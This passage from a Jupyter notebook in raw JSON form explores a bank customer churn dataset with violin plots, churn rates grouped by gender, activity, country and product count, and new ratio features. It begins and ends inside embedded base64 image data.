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+ }, + "metadata": {} + } + ], + "source": [ + "sns.violinplot(x = \"Exited\", y = \"Balance\", data = dc_train, palette=\"Set3\")" + ] + }, + { + "cell_type": "code", + "execution_count": 31, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "Z8Fb4BjBpEw7", + "outputId": "fb9cd8bc-5579-42c9-d1f9-3ba3fbb88ba5" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "Gender\n", + "0 0.248191\n", + "1 0.165511\n", + "Name: Exited, dtype: float64" + ] + }, + "metadata": {}, + "execution_count": 31 + }, + { + "output_type": "stream", + "name": "stdout", + "text": [ + "\n" + ] + }, + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "IsActiveMember\n", + "0 0.266285\n", + "1 0.143557\n", + "Name: Exited, dtype: float64" + ] + }, + "metadata": {}, + "execution_count": 31 + }, + { + "output_type": "stream", + "name": "stdout", + "text": [ + "\n" + ] + }, + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "country_Germany\n", + "0.0 0.163091\n", + "1.0 0.324974\n", + "Name: Exited, dtype: float64" + ] + }, + "metadata": {}, + "execution_count": 31 + }, + { + "output_type": "stream", + "name": "stdout", + "text": [ + "\n" + ] + }, + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "country_France\n", + "0.0 0.245877\n", + "1.0 0.160593\n", + "Name: Exited, dtype: float64" + ] + }, + "metadata": {}, + "execution_count": 31 + }, + { + "output_type": "stream", + "name": "stdout", + "text": [ + "\n" + ] + } + ], + "source": [ + "# Check association of categorical features with target variable\n", + "cat_vars_bv = ['Gender', 'IsActiveMember', 'country_Germany', 'country_France']\n", + "\n", + "for col in cat_vars_bv:\n", + " dc_train.groupby([col]).Exited.mean()\n", + " print()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "oj3tLPYPpEw7", + "outputId": "62bdf906-0ff3-4169-b88a-d463a6ba1b84" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "NumOfProducts\n", + "1 0.273428\n", + "2 0.076881\n", + "3 0.825112\n", + "4 1.000000\n", + "Name: Exited, dtype: float64" + ] + }, + "metadata": {}, + "execution_count": 57 + }, + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "1 4023\n", + "2 3629\n", + "3 223\n", + "4 45\n", + "Name: NumOfProducts, dtype: int64" + ] + }, + "metadata": {}, + "execution_count": 57 + } + ], + "source": [ + "## Computed mean on churned or non chuned custmers group by number of product on training data\n", + "col = 'NumOfProducts'\n", + "dc_train.groupby([col]).Exited.mean()\n", + "## unique \"NumOfProducts\" on training data\n", + "dc_train[col].value_counts()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "p2z3ZHD4pEw7", + "outputId": "12c833c9-1fb3-48fb-acef-a92e44d65f8e" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "Index(['CreditScore', 'Gender', 'Age', 'Tenure', 'Balance', 'NumOfProducts',\n", + " 'HasCrCard', 'IsActiveMember', 'EstimatedSalary', 'Exited',\n", + " 'country_France', 'country_Germany', 'country_Spain', 'Surname_enc'],\n", + " dtype='object')" + ] + }, + "metadata": {}, + "execution_count": 58 + } + ], + "source": [ + "## List of columns\n", + "dc_train.columns" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "4oKKvYH9pEw7" + }, + "source": [ + "Creating some new features based on simple interactions between the existing features.\n", + "```\n", + "* bal_per_product = Balance/NumOfProducts\n", + "* bal_by_est_salary = Balance/EstimatedSalary\n", + "* tenure_age_ratio = Tenure/Age\n", + "* age_surname_mean_churn = Age * Surname_enc\n", + "```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "z9X_nMhhpEw7" + }, + "outputs": [], + "source": [ + "eps = 1e-6\n", + "\n", + "dc_train['bal_per_product'] = dc_train.Balance/(dc_train.NumOfProducts + eps)\n", + "dc_train['bal_by_est_salary'] = dc_train.Balance/(dc_train.EstimatedSalary + eps)\n", + "dc_train['tenure_age_ratio'] = dc_train.Tenure/(dc_train.Age + eps)\n", + "dc_train['age_surname_mean_churn'] = np.sqrt(dc_train.Age) * dc_train.Surname_enc" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 270 + }, + "id": "RXgUE-nGpEw8", + "outputId": "daffdac0-0c50-4140-abf8-6b43d9da074c" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + " CreditScore Gender Age Tenure Balance NumOfProducts HasCrCard \\\n", + "0 678 1 36 1 117864.85 2 1 \n", + "1 613 0 27 5 125167.74 1 1 \n", + "2 628 1 45 9 0.00 2 1 \n", + "3 513 1 30 5 0.00 2 1 \n", + "4 639 1 22 4 0.00 2 1 \n", + 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